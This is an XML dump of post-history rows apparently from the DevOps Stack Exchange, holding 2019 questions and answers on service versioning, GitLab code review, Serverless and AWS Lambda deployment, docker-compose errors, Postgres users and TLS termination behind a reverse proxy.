  <row Id="21933" PostHistoryTypeId="3" PostId="6908" RevisionGUID="f04be17a-78c4-45b6-b62b-7b2836538045" CreationDate="2019-04-19T09:54:21.617" UserId="13566" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21934" PostHistoryTypeId="5" PostId="6908" RevisionGUID="6fb39d2f-86ff-473a-98ff-142bdf55f5e5" CreationDate="2019-04-19T10:13:11.387" UserId="13566" Comment="added 2 characters in body" Text="I have a SOA-application. Each service is a separate project in Gitlab with its own Dockerfile. So, in terms of structure it looks as follows&#xD;&#xA;&#xD;&#xA;    \UserService&#xD;&#xA;        Dockerfile&#xD;&#xA;        \src&#xD;&#xA;&#xD;&#xA;    \OrderService&#xD;&#xA;        Dockerfile&#xD;&#xA;        \src&#xD;&#xA;&#xD;&#xA;There is one developer (or group of developers) responsible for just one Gitlab project (or service as I call it). So, in fact each group technically can tag its project with its own version, so that `UserService` can have version `1.2.3`, while `OrderService` can have version `5.7.8`. It does not look good, because both services are part of one SOA-application. &#xD;&#xA;&#xD;&#xA;So, in terms of DevOps I need know what is the best practice for versioning SOA-application containing physically separate services with their own code base?&#xD;&#xA;&#xD;&#xA;My another question is about Docker. We are using docker for packing services. I know, that we can tag Docker images also with version number. In terms of best practices should this image version have something to do with versions of the source code of each single service?&#xD;&#xA;&#xD;&#xA;Besides, I do not know what should we treat as a release and its version. I guess there will be a build pipeline in Gitlab, which will build multiple Docker images and tag each one with a version. Should we treat the collection of these images as a release or should there be some kind of a bundle, physical release with again its own version.&#xD;&#xA;&#xD;&#xA;I know there may exist different practices, I want to know some real world approaches.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21942" PostHistoryTypeId="2" PostId="6909" RevisionGUID="3c6d3c04-b55c-4180-b0e1-a1c44fcade8d" CreationDate="2019-04-20T05:55:33.223" UserId="7772" Text="Is there a way to perform code review (for your own projects) using GitLab? For instance automated reviews, but also manual review where you can comment and propose changes at a review of a commit?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21943" PostHistoryTypeId="1" PostId="6909" RevisionGUID="3c6d3c04-b55c-4180-b0e1-a1c44fcade8d" CreationDate="2019-04-20T05:55:33.223" UserId="7772" Text="Code review with GitLab?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21944" PostHistoryTypeId="3" PostId="6909" RevisionGUID="3c6d3c04-b55c-4180-b0e1-a1c44fcade8d" CreationDate="2019-04-20T05:55:33.223" UserId="7772" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21945" PostHistoryTypeId="50" PostId="3421" RevisionGUID="dbd4232b-a0fb-47dd-867b-b8229bf73329" CreationDate="2019-04-20T11:01:00.150" UserId="-1" />
  <row Id="21946" PostHistoryTypeId="50" PostId="5226" RevisionGUID="198459c7-3847-442d-88cd-f74719faf5aa" CreationDate="2019-04-20T12:03:00.630" UserId="-1" />
  <row Id="21947" PostHistoryTypeId="2" PostId="6910" RevisionGUID="cc20c258-38a5-4d7f-8618-524f7d0409b7" CreationDate="2019-04-20T14:39:13.343" UserId="47" Text="Yes, it's possible. Gitlab has the concept of [Discussions][1] (either single comments or discussion threads), which you can have on a variety of development items/activities, including the code itself (in which case they effectively are code reviews):&#xD;&#xA;&#xD;&#xA;&gt; The ability to contribute conversationally is offered throughout&#xD;&#xA;&gt; GitLab.&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can leave a comment in the following places:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - issues&#xD;&#xA;&gt; - epics&#xD;&#xA;&gt; - merge requests&#xD;&#xA;&gt; - snippets&#xD;&#xA;&gt; - commits&#xD;&#xA;&gt; - commit diffs&#xD;&#xA;&#xD;&#xA;But note that only merge request discussions are presently considered [resolvable][2].&#xD;&#xA;&#xD;&#xA;Even though the check for a merge request can be configured to be automated, the starting of a review/discussion itself (if/when needed) is a manual operation. From [Threaded discussions][3]:&#xD;&#xA;&#xD;&#xA;&gt; To start a threaded discussion, click on the **Comment** button toggle&#xD;&#xA;&gt; dropdown, select **Start discussion** and click **Start discussion**&#xD;&#xA;&gt; when you’re ready to post the comment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/user/discussions/&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/user/discussions/#resolvable-comments-and-discussions&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/user/discussions/#threaded-discussions" ContentLicense="CC BY-SA 4.0" />
  <row Id="21958" PostHistoryTypeId="2" PostId="6913" RevisionGUID="02e6ea02-3c9b-4e63-a82e-de1b5ccc8f0e" CreationDate="2019-04-21T06:27:28.917" UserId="13581" Text="I have followed the guide in https://aws.amazon.com/blogs/compute/introducing-the-c-lambda-runtime/ to package my c++ lambda function into a zip file. The zip file has the contents: &#xD;&#xA;function.zip&#xD;&#xA;  bin&#xD;&#xA;     function&#xD;&#xA;  lib&#xD;&#xA;     many .so files, etc.&#xD;&#xA;  bootstrap&#xD;&#xA;&#xD;&#xA;In the guide the lambda is deployed using the `aws lambda create-function` with the handler specified to be the same as the zip file name.&#xD;&#xA;&#xD;&#xA;I would like to configure this lambda function in my serverless.yml and deploy it with the rest of my lambdas. I am not sure what the handler field below should be and using the zip file name didn't work out. &#xD;&#xA;&#xD;&#xA;    functions:  &#xD;&#xA;      function:&#xD;&#xA;        runtime: provided&#xD;&#xA;        package:&#xD;&#xA;          include: &#xD;&#xA;            - function.zip&#xD;&#xA;        handler: function &#xD;&#xA;        events:&#xD;&#xA;          - http:&#xD;&#xA;              path: function&#xD;&#xA;              method: get&#xD;&#xA;              cors: true&#xD;&#xA;              authorizer: aws_iam&#xD;&#xA;&#xD;&#xA;When I run `serverless deploy -v` I get warnings like: &#xD;&#xA;&#xD;&#xA;&gt; Serverless:  WARNING: Entry for function@function could not be&#xD;&#xA;&gt; retrieved. Please check your service config if you want to use&#xD;&#xA;&gt; lib.entries.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21959" PostHistoryTypeId="1" PostId="6913" RevisionGUID="02e6ea02-3c9b-4e63-a82e-de1b5ccc8f0e" CreationDate="2019-04-21T06:27:28.917" UserId="13581" Text="Serverless framework: how to specify a c++ lambda function with provided deployment package" ContentLicense="CC BY-SA 4.0" />
  <row Id="21960" PostHistoryTypeId="3" PostId="6913" RevisionGUID="02e6ea02-3c9b-4e63-a82e-de1b5ccc8f0e" CreationDate="2019-04-21T06:27:28.917" UserId="13581" Text="&lt;aws-lambda&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21961" PostHistoryTypeId="5" PostId="4669" RevisionGUID="78138ed7-2919-4cd5-94e7-85f3c0d66ad5" CreationDate="2019-04-21T08:22:53.383" UserId="7896" Comment="added 526 characters in body" Text="I want to understand what is a virtual repository in the context of Artifacts Repository Manager.&#xD;&#xA;&#xD;&#xA;Before that, I referred the documentation. But, I didn't get the explanation as I was new to DevOps that time. Thanks.&#xD;&#xA;&#xD;&#xA;&gt; A virtual repository is a collection of local, remote and other&#xD;&#xA;&gt; virtual repositories accessed through a single logical URL.&#xD;&#xA;&gt; &#xD;&#xA;&gt; A virtual repository hides the access details of the underlying&#xD;&#xA;&gt; repositories letting users work with a single, well-known URL. The&#xD;&#xA;&gt; underlying participating repositories and their access rules may be&#xD;&#xA;&gt; changed without requiring any client-side changes.&#xD;&#xA;&#xD;&#xA;Above is the documentation definition, my doubt is how virtual repositories are connected to either Local/Remote Repository." ContentLicense="CC BY-SA 4.0" />
  <row Id="21962" PostHistoryTypeId="50" PostId="5323" RevisionGUID="869ba840-6c36-428c-b0b1-120fb42e196d" CreationDate="2019-04-21T09:00:38.417" UserId="-1" />
  <row Id="21963" PostHistoryTypeId="2" PostId="6914" RevisionGUID="2817f7e8-575b-4965-8848-9451a785a49f" CreationDate="2019-04-21T09:25:09.953" UserId="7772" Text="I don't see any documentation from serverless.com that they support C and C++ (while AWS Lambda might do), but if you want to try then I think that you should try some other name than &quot;function&quot; for your function. I did not try this at home but all examples use some other name than &quot;function&quot; because that word might be reserved. &#xD;&#xA;&#xD;&#xA;https://serverless.com/framework/docs/providers/aws/guide/resources/ &#xD;&#xA;&#xD;&#xA;If that still won't work, check your path to your code and maybe you also want to set up everything up with a CI/CD pipeline with GitLab for example. That's how I do it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21964" PostHistoryTypeId="5" PostId="6914" RevisionGUID="3aba151d-76c5-4e9e-a120-87bff50677a9" CreationDate="2019-04-21T09:30:46.263" UserId="7772" Comment="added 82 characters in body" Text="I don't see any documentation from serverless.com that they support C and C++ (while AWS Lambda might do), I have asked about it now so that we can know:&#xD;&#xA;&#xD;&#xA;https://forum.serverless.com/t/c-and-c-support/8045&#xD;&#xA;&#xD;&#xA;(&quot;Supports Node.js, Python, Java, Go, C#, Ruby, Swift, Kotlin, PHP, Scala, &amp; F#&quot;) but if you want to try then I think that you should try some other name than &quot;function&quot; for your function. I did not try this at home but all examples use some other name than &quot;function&quot; because that word might be reserved. &#xD;&#xA;&#xD;&#xA;https://serverless.com/framework/docs/providers/aws/guide/resources/ &#xD;&#xA;&#xD;&#xA;If that still won't work, check your path to your code and maybe you also want to set up everything up with a CI/CD pipeline with GitLab for example. That's how I do it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21965" PostHistoryTypeId="50" PostId="5513" RevisionGUID="d2336923-e2b6-44ec-b162-228a772a25d5" CreationDate="2019-04-21T10:03:10.653" UserId="-1" />
  <row Id="21966" PostHistoryTypeId="2" PostId="6915" RevisionGUID="ab091ee7-1bdc-44ab-95a0-afc293501a83" CreationDate="2019-04-21T15:52:57.127" UserId="13585" Text="this is docker-compose.yml&#xD;&#xA;&#xD;&#xA; ports:&#xD;&#xA;&#xD;&#xA;     - &quot;3000:3000&quot;&#xD;&#xA;    environment:&#xD;&#xA;      RAILS_ENV: development&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   - What does the RAILS_ENV do?&#xD;&#xA;   - What difference does it make, when RAILS_ENV is changed to development?&#xD;&#xA;   - How does the change affect the automated build?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21967" PostHistoryTypeId="1" PostId="6915" RevisionGUID="ab091ee7-1bdc-44ab-95a0-afc293501a83" CreationDate="2019-04-21T15:52:57.127" UserId="13585" Text="ich hav some quation please aboute docker-compose.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="21968" PostHistoryTypeId="3" PostId="6915" RevisionGUID="ab091ee7-1bdc-44ab-95a0-afc293501a83" CreationDate="2019-04-21T15:52:57.127" UserId="13585" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21969" PostHistoryTypeId="2" PostId="6916" RevisionGUID="b6fe0880-35e5-4af1-af8f-70009b14755e" CreationDate="2019-04-21T17:14:44.153" UserId="13587" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;ERROR: for web  Cannot start service web: driver failed programming external connectivity on endpoint frontend_web_1 (cffadebf3c617759cdf1ad8c572241b1ec1b240f9eeaaaea13fdb9940a02bdc0): Error starting userland proxy: mkdir /port/tcp:0.0.0.0:3000:tcp:172.20.0.2:3000: input/output error&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;------------------&#xD;&#xA;FROM node:alpine&#xD;&#xA;&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;COPY package.json .&#xD;&#xA;&#xD;&#xA;RUN npm install&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;------------------------------------&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;  web: &#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile.dev&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - /app/node_modules&#xD;&#xA;      - .:/app&#xD;&#xA;  test:&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile.dev&#xD;&#xA;    volumes:&#xD;&#xA;      - /app/node_modules&#xD;&#xA;      - .:/app&#xD;&#xA;    command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]" ContentLicense="CC BY-SA 4.0" />
  <row Id="21970" PostHistoryTypeId="1" PostId="6916" RevisionGUID="b6fe0880-35e5-4af1-af8f-70009b14755e" CreationDate="2019-04-21T17:14:44.153" UserId="13587" Text="Error while trying to launch docker container in local" ContentLicense="CC BY-SA 4.0" />
  <row Id="21971" PostHistoryTypeId="3" PostId="6916" RevisionGUID="b6fe0880-35e5-4af1-af8f-70009b14755e" CreationDate="2019-04-21T17:14:44.153" UserId="13587" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21972" PostHistoryTypeId="5" PostId="6916" RevisionGUID="66cfdcf5-71d2-461b-932e-bc77c279469f" CreationDate="2019-04-21T17:20:25.913" UserId="13587" Comment="deleted 82 characters in body" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;ERROR: for web  Cannot start service web: driver failed programming external connectivity on endpoint frontend_web_1 (cffadebf3c617759cdf1ad8c572241b1ec1b240f9eeaaaea13fdb9940a02bdc0): Error starting userland proxy: mkdir /port/tcp:0.0.0.0:3000:tcp:172.20.0.2:3000: input/output error&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;------------------&#xD;&#xA;FROM node:alpine&#xD;&#xA;&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;COPY package.json .&#xD;&#xA;&#xD;&#xA;RUN npm install&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;------------------------------------&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;web: &#xD;&#xA;build:&#xD;&#xA;context: .&#xD;&#xA;dockerfile: Dockerfile.dev&#xD;&#xA;ports:&#xD;&#xA;- &quot;3000:3000&quot;&#xD;&#xA;volumes:&#xD;&#xA;- /app/node_modules&#xD;&#xA;- .:/app&#xD;&#xA;test:&#xD;&#xA;build:&#xD;&#xA;context: .&#xD;&#xA;dockerfile: Dockerfile.dev&#xD;&#xA;volumes:&#xD;&#xA;- /app/node_modules&#xD;&#xA;- .:/app&#xD;&#xA;command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]" ContentLicense="CC BY-SA 4.0" />
  <row Id="21973" PostHistoryTypeId="2" PostId="6917" RevisionGUID="8c57dce6-74f9-4802-a454-a069f60d704a" CreationDate="2019-04-21T18:06:10.823" UserId="13585" Text="postgres:&#xD;&#xA;&#xD;&#xA;    image: healthcheck/postgres:alpine&#xD;&#xA;    environment:&#xD;&#xA;      POSTGRES_USER: postgres&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  - What is the default user of postgresql?&#xD;&#xA;  -  How does hardcoding the postgres user improve security?&#xD;&#xA;  -  What special rights does the postgres user have?&#xD;&#xA;  -  What is the upside and downside of using an unprivileged user in this scenario?&#xD;&#xA;  - Is it necessary in our scenario to have an unprivileged user?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21974" PostHistoryTypeId="1" PostId="6917" RevisionGUID="8c57dce6-74f9-4802-a454-a069f60d704a" CreationDate="2019-04-21T18:06:10.823" UserId="13585" Text="i have questions about docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="21975" PostHistoryTypeId="3" PostId="6917" RevisionGUID="8c57dce6-74f9-4802-a454-a069f60d704a" CreationDate="2019-04-21T18:06:10.823" UserId="13585" Text="&lt;docker-compose&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21976" PostHistoryTypeId="2" PostId="6918" RevisionGUID="a0d2eb0f-5c4a-4245-a79d-3d37069dd803" CreationDate="2019-04-21T20:40:29.713" UserId="3525" Text="I searched for the **healthcheck/postgres:alpine** and I found the following repository with the **Dockerfile**:&#xD;&#xA;&#xD;&#xA;https://github.com/docker-library/healthcheck/blob/master/postgres/Dockerfile.alpine&#xD;&#xA;&#xD;&#xA;Assuming this is the correct repo for your docker image, the dockerfile specifies:&#xD;&#xA;&#xD;&#xA;    FROM postgres&#xD;&#xA;    &#xD;&#xA;    COPY docker-healthcheck /usr/local/bin/&#xD;&#xA;    &#xD;&#xA;    HEALTHCHECK CMD [&quot;docker-healthcheck&quot;]&#xD;&#xA;&#xD;&#xA;So it extends the postgres docker image which is documented here:&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/_/postgres&#xD;&#xA;&#xD;&#xA;Specifically for the password they mention the following:&#xD;&#xA;&#xD;&#xA;&gt; POSTGRES_PASSWORD This environment variable is recommended for you to&#xD;&#xA;&gt; use the PostgreSQL image. This environment variable sets the superuser&#xD;&#xA;&gt; password for PostgreSQL. The default superuser is defined by the&#xD;&#xA;&gt; POSTGRES_USER environment variable.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note 1: The PostgreSQL image sets up trust authentication locally so&#xD;&#xA;&gt; you may notice a password is not required when connecting from&#xD;&#xA;&gt; localhost (inside the same container). However, a password will be&#xD;&#xA;&gt; required if connecting from a different host/container...&#xD;&#xA;&#xD;&#xA;Read the whole documentation at the image homepage.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21977" PostHistoryTypeId="2" PostId="6919" RevisionGUID="e81b0263-1211-4be6-9fdb-63ef863d7c6d" CreationDate="2019-04-21T20:53:24.870" UserId="3525" Text="RAILS_ENV is en environment variable. Environment variable is a setting which may be read inside the container. Though, environment variables do exist on most of the operating systems https://en.wikipedia.org/wiki/Environment_variable&#xD;&#xA;So the only specific here is that you can set an environment variable for the container and pass some values inside that way. &#xD;&#xA;&#xD;&#xA;I assume you are working with docker-compose example for Ruby on Rails. So for the meaning of the RAILS_ENV value you should refer to the Ruby on Rails documentation https://guides.rubyonrails.org/configuring.html#rails-environment-settings&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21978" PostHistoryTypeId="2" PostId="6920" RevisionGUID="ff203176-bd1b-4211-8d48-cd471c2536ec" CreationDate="2019-04-21T21:01:51.937" UserId="3525" Text="What I have seen working is to use a custom docker image with all the common tools bundled in during the building process. And it seems that Travis CI supports this as well &#xD;&#xA;&#xD;&#xA;https://docs.travis-ci.com/user/docker/&#xD;&#xA;&#xD;&#xA;That way you can always expect that the custom building modules are available during the building process. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21979" PostHistoryTypeId="50" PostId="4830" RevisionGUID="a6e3c32a-9cd1-4e2c-955a-235a7ca9cc79" CreationDate="2019-04-21T21:02:50.740" UserId="-1" />
  <row Id="21980" PostHistoryTypeId="2" PostId="6921" RevisionGUID="ad6b6a19-8a49-4846-93d6-3e3f63a5ff3c" CreationDate="2019-04-21T21:05:46.583" UserId="13589" Text="Is there any difference if you use TLS in your application for example in node or java(spring), and if you use normal HTTP in your application and then set up Nginx as a reverse proxy and configure your TLS certificate throw Nginx? &#xD;&#xA;What would be the benefits of using one instead of another?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21981" PostHistoryTypeId="1" PostId="6921" RevisionGUID="ad6b6a19-8a49-4846-93d6-3e3f63a5ff3c" CreationDate="2019-04-21T21:05:46.583" UserId="13589" Text="Using HTTPs in application vs reverse proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="21982" PostHistoryTypeId="3" PostId="6921" RevisionGUID="ad6b6a19-8a49-4846-93d6-3e3f63a5ff3c" CreationDate="2019-04-21T21:05:46.583" UserId="13589" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21983" PostHistoryTypeId="2" PostId="6922" RevisionGUID="e7bad0a4-08fc-44b8-b802-1dc59e2526f7" CreationDate="2019-04-22T02:01:31.233" UserId="8251" Text="There is no direct technical benefit. Some people argue that it takes some cpu load of the Web server. However there are equally articles that claim its only a very small percentage of cpu required to handle TLS.&#xA;&#xA;One major benefit is that a http only caching server (for example Varnish) can be put between http server and tls termination without changing either Web server or public IP address. I have chosen this for my own Web hosting setup, as it is not always feasible to change DNS records en masse. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21984" PostHistoryTypeId="5" PostId="6916" RevisionGUID="84dac15e-f3e3-41f1-b552-5f45f3eba0ce" CreationDate="2019-04-22T04:12:46.687" UserId="13587" Comment="added 871 characters in body" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Starting frontend_web_1  ... done&#xD;&#xA;Starting frontend_test_1 ... done&#xD;&#xA;Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;web_1   | npm ERR! path /app/package.json&#xD;&#xA;web_1   | npm ERR! code ENOENT&#xD;&#xA;web_1   | npm ERR! errno -2&#xD;&#xA;web_1   | npm ERR! syscall open&#xD;&#xA;web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;web_1   | npm ERR! enoent&#xD;&#xA;test_1  | npm ERR! path /app/package.json&#xD;&#xA;test_1  | npm ERR! code ENOENT&#xD;&#xA;test_1  | npm ERR! errno -2&#xD;&#xA;web_1   |&#xD;&#xA;test_1  | npm ERR! syscall open&#xD;&#xA;web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;test_1  | npm ERR! enoent&#xD;&#xA;test_1  |&#xD;&#xA;test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;frontend_web_1 exited with code 254&#xD;&#xA;frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;------------------&#xD;&#xA;FROM node:alpine&#xD;&#xA;&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;COPY package.json .&#xD;&#xA;&#xD;&#xA;RUN npm install&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;------------------------------------&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;web: &#xD;&#xA;build:&#xD;&#xA;context: .&#xD;&#xA;dockerfile: Dockerfile.dev&#xD;&#xA;ports:&#xD;&#xA;- &quot;3000:3000&quot;&#xD;&#xA;volumes:&#xD;&#xA;- /app/node_modules&#xD;&#xA;- .:/app&#xD;&#xA;test:&#xD;&#xA;build:&#xD;&#xA;context: .&#xD;&#xA;dockerfile: Dockerfile.dev&#xD;&#xA;volumes:&#xD;&#xA;- /app/node_modules&#xD;&#xA;- .:/app&#xD;&#xA;command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]" ContentLicense="CC BY-SA 4.0" />
  <row Id="21985" PostHistoryTypeId="2" PostId="6923" RevisionGUID="ba695197-1bff-4064-9f10-679e90a8aa74" CreationDate="2019-04-22T06:36:12.887" UserId="13581" Text="I have a node.js lambda function that adds a database entry and then calls another lambda function. The code works fine when I test locally via&#xD;&#xA;&#xD;&#xA;    serverless invoke local --function create --path mocks/create-event.json&#xD;&#xA;but it fails when I invoke the deployment&#xD;&#xA;&#xD;&#xA;    aws lambda invoke  --function-name create --payload file://mocks/create-event.json out.txt&#xD;&#xA;&#xD;&#xA;here is the relevant lambda code:&#xD;&#xA;&#xD;&#xA;    try {&#xD;&#xA;        await dynamoDbLib.call(&quot;put&quot;, params);  //OK locally and in deployment&#xD;&#xA;        var lambda = new AWS.Lambda();&#xD;&#xA;        const req = {&#xD;&#xA;          FunctionName: 'eqtor-api-dev-mysim', &#xD;&#xA;          InvocationType: 'RequestResponse',&#xD;&#xA;          LogType: 'Tail',&#xD;&#xA;          Payload: JSON.stringify({ name: 'me' })&#xD;&#xA;        };&#xD;&#xA;        const result = await lambda.invoke(req).promise(); //OK locally but not in deployment&#xD;&#xA;        console.log(result); &#xD;&#xA;        return success(params.Item);&#xD;&#xA;      } catch (e) {&#xD;&#xA;        return failure({ status: false });&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;The command shows &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;ExecutedVersion&quot;: &quot;$LATEST&quot;, &#xD;&#xA;        &quot;StatusCode&quot;: 200&#xD;&#xA;    }&#xD;&#xA;and in out.txt, I get &#xD;&#xA;&#xD;&#xA;    {&quot;statusCode&quot;:500,&quot;headers&quot;:{&quot;Access-Control-Allow-Origin&quot;:&quot;*&quot;,&quot;Access-Control-Allow-Credentials&quot;:true},&quot;body&quot;:&quot;{\&quot;status\&quot;:false}&quot;}&#xD;&#xA;&#xD;&#xA;Any tips on how to debug this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21986" PostHistoryTypeId="1" PostId="6923" RevisionGUID="ba695197-1bff-4064-9f10-679e90a8aa74" CreationDate="2019-04-22T06:36:12.887" UserId="13581" Text="AWS lambda: works locally but fails in deplyment" ContentLicense="CC BY-SA 4.0" />
  <row Id="21987" PostHistoryTypeId="3" PostId="6923" RevisionGUID="ba695197-1bff-4064-9f10-679e90a8aa74" CreationDate="2019-04-22T06:36:12.887" UserId="13581" Text="&lt;aws-lambda&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21988" PostHistoryTypeId="50" PostId="6225" RevisionGUID="819f28eb-30b1-45a9-9b5b-f0aa13b2d15e" CreationDate="2019-04-22T07:01:25.263" UserId="-1" />
  <row Id="21989" PostHistoryTypeId="2" PostId="6924" RevisionGUID="fa347522-2ea1-40f6-a505-6caf3c785736" CreationDate="2019-04-22T08:58:10.193" UserId="13581" Text="I've resolved the issue now. &#xD;&#xA;&#xD;&#xA;First of all, console.log(e) should be used to log the result. Then the error will appear in CloudWatch. &#xD;&#xA;&#xD;&#xA;The problem was that the role that was used by the lambda did not permit invoking other lambdas. This can be fixed by granting the missing InvokeFunction permission for the role." ContentLicense="CC BY-SA 4.0" />
  <row Id="21990" PostHistoryTypeId="2" PostId="6925" RevisionGUID="9fbd4413-056f-431f-9f98-9ed31fa762ca" CreationDate="2019-04-22T10:37:25.153" UserId="3164" Text="You will find people from both camps (terminating TLS as soon as possible vs terminating TLS in the application code) but it's not as _serious_ as for example tabs vs spaces.&#xD;&#xA;&#xD;&#xA;The benefit of terminating TLS by reverse proxy is that application developer does not have to implement TLS in the application itself - possibly introducing errors. Another benefit mentioned by [jdog](https://devops.stackexchange.com/a/6922/3164) is the CPU cost; which is negligible these days - unless you are running 100s of micro-services and it all adds up to a large chunk of money.&#xD;&#xA;&#xD;&#xA;Personally I always go with reverse proxy terminating the TLS unless there is a specific requirement against it (security reasons). I also make sure that service behind reverse proxy listens on the localhost / local network only - is not accessible directly form the internet.&#xD;&#xA;&#xD;&#xA;You may find [wikipedia article about TLS termination](https://en.wikipedia.org/wiki/TLS_termination_proxy) useful.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21991" PostHistoryTypeId="50" PostId="3089" RevisionGUID="390099da-a9c6-46e7-9f9a-d72cab0a869a" CreationDate="2019-04-22T13:04:10.863" UserId="-1" />
  <row Id="21993" PostHistoryTypeId="50" PostId="1931" RevisionGUID="1208845a-25e2-4c51-bd73-7d19745e88b3" CreationDate="2019-04-22T21:02:20.453" UserId="-1" />
